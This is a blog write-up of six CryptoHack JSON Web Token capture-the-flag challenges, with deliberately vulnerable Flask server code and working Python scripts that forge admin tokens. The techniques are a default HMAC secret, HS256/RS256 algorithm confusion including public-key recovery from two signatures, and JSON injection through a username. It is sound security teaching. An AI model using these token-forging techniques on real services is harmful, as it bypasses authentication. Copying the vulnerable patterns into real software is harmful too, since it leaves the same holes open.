Post

JSON Web Tokens Write-up - CryptoHack

JSON Web Tokens challenges from CryptoHack

I’ve been learning about JSON Web Tokens (JWT) lately and wanted to share my solutions to the challenges on CryptoHack. This write-up covers six challenges from the JWT section on CryptoHack.

Token Appreciation

It’s the simplest one of the bunch. We are given a JWT and we need to decode it.

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiY3J5cHRve2p3dF9jb250ZW50c19jYW5fYmVfZWFzaWx5X3ZpZXdlZH0iLCJ1c2VyIjoiQ3J5cHRvIE1jSGFjayIsImV4cCI6MjAwNTAzMzQ5M30.shKSmZfgGVvd2OSB2CGezzJ3N6WAULo3w9zCl_T47KQ

We can just decode it and get the flag as follows.

1
2
3
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiY3J5cHRve2p3dF9jb250ZW50c19jYW5fYmVfZWFzaWx5X3ZpZXdlZH0iLCJ1c2VyIjoiQ3J5cHRvIE1jSGFjayIsImV4cCI6MjAwNTAzMzQ5M30.shKSmZfgGVvd2OSB2CGezzJ3N6WAULo3w9zCl_T47KQ" | cut -d '.' -f2 | base64 -d 2>/dev/null

{"flag":"crypto{jwt_contents_can_be_easily_viewed}","user":"Crypto McHack","exp":2005033493}

Flag: crypto{jwt_contents_can_be_easily_viewed}

JWT Sessions

Unfortunately there are some downsides to JWTs, as they are often configured in an insecure way, and clients are free to modify them and see if the server will still verify them. We’ll look at these exploits in the next challenges. For now, the flag is the name of the HTTP header used by the browser to send JWTs to the server.

Answer: Authorization

No Way JOSE

Source code of the server is given.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import jwt # note this is the PyJWT module, not python-jwt


SECRET_KEY = ? # TODO: PyJWT readme key, change later
FLAG = ?


@chal.route('/jwt-secrets/authorise/<token>/')
def authorise(token):
    try:
        decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    except Exception as e:
        return {"error": str(e)}

    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}


@chal.route('/jwt-secrets/create_session/<username>/')
def create_session(username):
    encoded = jwt.encode({'username': username, 'admin': False}, SECRET_KEY, algorithm='HS256')
    return {"session": encoded}

The base URL is given as https://web.cryptohack.org/jwt-secrets/.

If the admin key is set to true, it will return the flag. To forge a token, we need to SECRET_KEY. What a pity, the developer left the SECRET_KEY as the default from the documentation.

PyJWT

Checked the PyJWT documentation and the default key is secret. Now we can forge a token and get the flag.

1
2
3
4
5
6
import jwt, requests

SECRET_KEY = "secret"
token = jwt.encode({'admin': True}, SECRET_KEY, algorithm='HS256')
response = requests.get(f"https://web.cryptohack.org/jwt-secrets/authorise/{token.decode()}/")
print(response.json()["response"])

Answer: crypto{jwt_secret_keys_must_be_protected}

RSA OR HMAC?

This time, it’s about algorithm confusion.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import jwt # note this is the PyJWT module, not python-jwt


# Key generated using: openssl genrsa -out rsa-or-hmac-private.pem 2048
with open('challenge_files/rsa-or-hmac-private.pem', 'rb') as f:
   PRIVATE_KEY = f.read()
with open('challenge_files/rsa-or-hmac-public.pem', 'rb') as f:
   PUBLIC_KEY = f.read()

FLAG = ?


@chal.route('/rsa-or-hmac/authorise/<token>/')
def authorise(token):
    try:
        decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
    except Exception as e:
        return {"error": str(e)}

    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}


@chal.route('/rsa-or-hmac/create_session/<username>/')
def create_session(username):
    encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
    return {"session": encoded}


@chal.route('/rsa-or-hmac/get_pubkey/')
def get_pubkey():
    return {"pubkey": PUBLIC_KEY}

The base URL is given as https://web.cryptohack.org/rsa-or-hmac/.

1
decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])

The vulnerability in this code is that it supports both HS256 and RS256 algorithms. Even though we don’t know the PRIVATE_KEY, we can use the public key to forge a token with HS256 algorithm because the server supports both algorithms.

We just need to get the public key and use it as the secret key to forge a token. We could also do this without the public key, which will be shown in one of the next challenges.

Additionally, we need to install pyjwt==1.5.0 because they implemented a fix for this vulnerability in the later versions.

1
python3.8 -m pip install pyjwt==1.5.0

Here is the code to get the flag.

1
2
3
4
5
6
7
8
9
import jwt, requests, base64

response = requests.get("https://web.cryptohack.org/rsa-or-hmac/get_pubkey/")
PUBLIC_KEY = response.json()["pubkey"]

token = jwt.encode({'admin': True}, PUBLIC_KEY, algorithm='HS256')

response = requests.get(f"https://web.cryptohack.org/rsa-or-hmac/authorise/{token.decode()}/")
print(response.json()["response"])

Answer: crypto{Doom_Principle_Strikes_Again}

JSON in JSON

Let’s take a look at the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import json
import jwt # note this is the PyJWT module, not python-jwt


FLAG = ?
SECRET_KEY = ?


@chal.route('/json-in-json/authorise/<token>/')
def authorise(token):
    try:
        decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    except Exception as e:
        return {"error": str(e)}

    if "admin" in decoded and decoded["admin"] == "True":
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}


@chal.route('/json-in-json/create_session/<username>/')
def create_session(username):
    body = '{' \
              + '"admin": "' + "False" \
              + '", "username": "' + str(username) \
              + '"}'
    encoded = jwt.encode(json.loads(body), SECRET_KEY, algorithm='HS256')
    return {"session": encoded}

The base URL is given as https://web.cryptohack.org/json-in-json/.

Oh, it’s so obvious. How can a JSON object be parsed like that? By injecting a JSON object into the username, we can forge an admin token.

1
2
3
4
5
6
7
8
9
import requests

username = 'sarp", "admin": "True'

response = requests.get(f"https://web.cryptohack.org/json-in-json/create_session/{username}/")
token = response.json()["session"]

response = requests.get(f"https://web.cryptohack.org/json-in-json/authorise/{token}")
print(response.json()["response"])

Answer: crypto{https://owasp.org/www-community/Injection_Theory}

A link in a flag, nice.

RSA or HMAC? Part 2

It’s time to get the flag without the public key. Source code is given below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import jwt # note this is the PyJWT module, not python-jwt


# Private key generated using: openssl genrsa -out rsa-or-hmac-2-private.pem 2048
with open('challenge_files/rsa-or-hmac-2-private.pem', 'rb') as f:
   PRIVATE_KEY = f.read()
# Public key generated using: openssl rsa -RSAPublicKey_out -in rsa-or-hmac-2-private.pem -out rsa-or-hmac-2-public.pem
with open('challenge_files/rsa-or-hmac-2-public.pem', 'rb') as f:
   PUBLIC_KEY = f.read()

FLAG = ?


@chal.route('/rsa-or-hmac-2/authorise/<token>/')
def authorise(token):
    try:
        decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
    except Exception as e:
        return {"error": str(e)}

    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    elif "username" in decoded:
        return {"response": f"Welcome {decoded['username']}"}
    else:
        return {"error": "There is something wrong with your session, goodbye"}


@chal.route('/rsa-or-hmac-2/create_session/<username>/')
def create_session(username):
    encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
    return {"session": encoded}

The base URL is given as https://web.cryptohack.org/rsa-or-hmac-2/.

First of all, we need to get the public key. Then we can forge a token like we did in the previous challenge

We could derive the public key from existing tokens as PortSwigger introduced here.

Let’s grab two tokens:

1
2
3
4
5
6
7
8
9
import requests

response = requests.get("https://web.cryptohack.org/rsa-or-hmac-2/create_session/sarp")
token1 = response.json()["session"]
response = requests.get("https://web.cryptohack.org/rsa-or-hmac-2/create_session/ilovecrypto")
token2 = response.json()["session"]

print(token1)
print(token2)

Tokens:

1
2
3
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InNhcnAiLCJhZG1pbiI6ZmFsc2V9.HlhpY-5OUJGRxXXPMuqrsvdyVI1m8g9fUzqMKioWt9WyGnSrtEpzYPAnpt1DBmgUX7zhDa6-w97yUmWXlkSlrU6CI6Y1rWXrgyzqICw6Q-4CtCrwEOjvZ27Baw7YjGDkqvrbLYdMI-rDTvQxH4WQR8yUNNXYSRSjSFo35OLKIh6jo9idXYxVff3LHCaP65K3ByGcEy91yF53Slfo8deOiC_CgYqTNNujgE3eS3dR8lDdFeSZBhb0m264ePvYrfz7gs58LnI6FKM9iBuXqky32ANlYtwsavYwmhBRukl3zqEPF1QduNc8K1RR-LAHVZa5J3Sgrhjyo16X3qjN7sBMNQ

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imlsb3ZlY3J5cHRvIiwiYWRtaW4iOmZhbHNlfQ.mp9XMeYo2_gc-RWSkeOl7C1xvCvCMcJwNUERKjShVn7Z67FLm_DAEF3ndv5l8zcQ5wDgRyhk0x6cgeL55DlLgjvC-4HqFExIE_MI7G9r_ecxiPqp6lrbfFXhpLE2999QuNJVVc_rBIjtmPn5-QW94l1b37SGyngh8T03heec3SytFCB5JqFTays0LVSGvfwA4ieKIEDRa7BJY47HjWMRXCX5kqxGQL60hiKvfG-V_t25KPQLhlS65KS2IgAtNJ2V1kRRR68oYpfBQ6d1L19iZ6QsdsB6P0pef0nlSNnPDFeqLcZXFS2b5gbYKpzzk98o1IE6d9wDNLqXq4BRegEUTA

Now we can derive the public key with these tokens and PortSwigger’s tool.

1
docker run --rm -it portswigger/sig2n <token1> <token2>

Result:

1
2
3
4
5
docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InNhcnAiLCJhZG1pbiI6ZmFsc2V9.HlhpY-5OUJGRxXXPMuqrsvdyVI1m8g9fUzqMKioWt9WyGnSrtEpzYPAnpt1DBmgUX7zhDa6-w97yUmWXlkSlrU6CI6Y1rWXrgyzqICw6Q-4CtCrwEOjvZ27Baw7YjGDkqvrbLYdMI-rDTvQxH4WQR8yUNNXYSRSjSFo35OLKIh6jo9idXYxVff3LHCaP65K3ByGcEy91yF53Slfo8deOiC_CgYqTNNujgE3eS3dR8lDdFeSZBhb0m264ePvYrfz7gs58LnI6FKM9iBuXqky32ANlYtwsavYwmhBRukl3zqEPF1QduNc8K1RR-LAHVZa5J3Sgrhjyo16X3qjN7sBMNQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imlsb3ZlY3J5cHRvIiwiYWRtaW4iOmZhbHNlfQ.mp9XMeYo2_gc-RWSkeOl7C1xvCvCMcJwNUERKjShVn7Z67FLm_DAEF3ndv5l8zcQ5wDgRyhk0x6cgeL55DlLgjvC-4HqFExIE_MI7G9r_ecxiPqp6lrbfFXhpLE2999QuNJVVc_rBIjtmPn5-QW94l1b37SGyngh8T03heec3SytFCB5JqFTays0LVSGvfwA4ieKIEDRa7BJY47HjWMRXCX5kqxGQL60hiKvfG-V_t25KPQLhlS65KS2IgAtNJ2V1kRRR68oYpfBQ6d1L19iZ6QsdsB6P0pef0nlSNnPDFeqLcZXFS2b5gbYKpzzk98o1IE6d9wDNLqXq4BRegEUTA

[...]

Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTdwZ2J1UDZYOFhIeUZyNDd5YlNyMXlUK20rK0ZObi9mVW5uS1AxMTNiWWJjcC9KbjRubDUKa2lSb0s0Y2dYV3Y2eVlhVHhWTVN5dkxjZERrUHNtWjBKNERmQlhaU3BVS1kyUUsrb1I3Nm5iNWZaK1ZOVUVpMApJdTE1R0JKZElQajh5RUE4MU92aUROY25YUnlEcExCV3RYWjFnTkp5dm9pT2ovM0RnUmNJV3o5eUpOa3plOGxuCnV0TU96eG9iZy9vMmk5b2V3YTJNSmsrTUhLVVpPT0N4b2FWZm1kY3pUcURJWGRvd3huV0NURWdXYjRTQk4rTUgKR3UrOHBXZ0dxWENpb0dEUEFMSFJSOThDV29wSEMwejdWaWEvVVhrTE5HQ2pKZmROWmlKRm5MSEc4dEFURHZEUwpDRFFTZzQ2TUFSazVFaW40ZWtWUGFOS25qYzZJTm5PMDFRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K

We can forge a token and get the flag.

1
2
3
4
5
6
7
8
9
10
import jwt, requests, base64

PUBLIC_KEY = "LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTdwZ2J1UDZYOFhIeUZyNDd5YlNyMXlUK20rK0ZObi9mVW5uS1AxMTNiWWJjcC9KbjRubDUKa2lSb0s0Y2dYV3Y2eVlhVHhWTVN5dkxjZERrUHNtWjBKNERmQlhaU3BVS1kyUUsrb1I3Nm5iNWZaK1ZOVUVpMApJdTE1R0JKZElQajh5RUE4MU92aUROY25YUnlEcExCV3RYWjFnTkp5dm9pT2ovM0RnUmNJV3o5eUpOa3plOGxuCnV0TU96eG9iZy9vMmk5b2V3YTJNSmsrTUhLVVpPT0N4b2FWZm1kY3pUcURJWGRvd3huV0NURWdXYjRTQk4rTUgKR3UrOHBXZ0dxWENpb0dEUEFMSFJSOThDV29wSEMwejdWaWEvVVhrTE5HQ2pKZmROWmlKRm5MSEc4dEFURHZEUwpDRFFTZzQ2TUFSazVFaW40ZWtWUGFOS25qYzZJTm5PMDFRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K"

PUBLIC_KEY = base64.b64decode(PUBLIC_KEY)

token = jwt.encode({'admin': True}, PUBLIC_KEY, algorithm='HS256')

response = requests.get(f"https://web.cryptohack.org/rsa-or-hmac-2/authorise/{token.decode()}/")
print(response.json()["response"])

Answer: crypto{thanks_silentsignal_for_inspiration}

Conclusion

That’s it for the JSON Web Tokens challenges. Each challenge was well-thought-out and fun to solve. Feel free to reach out to me if you have any questions or suggestions

This post is licensed under CC BY 4.0 by the author.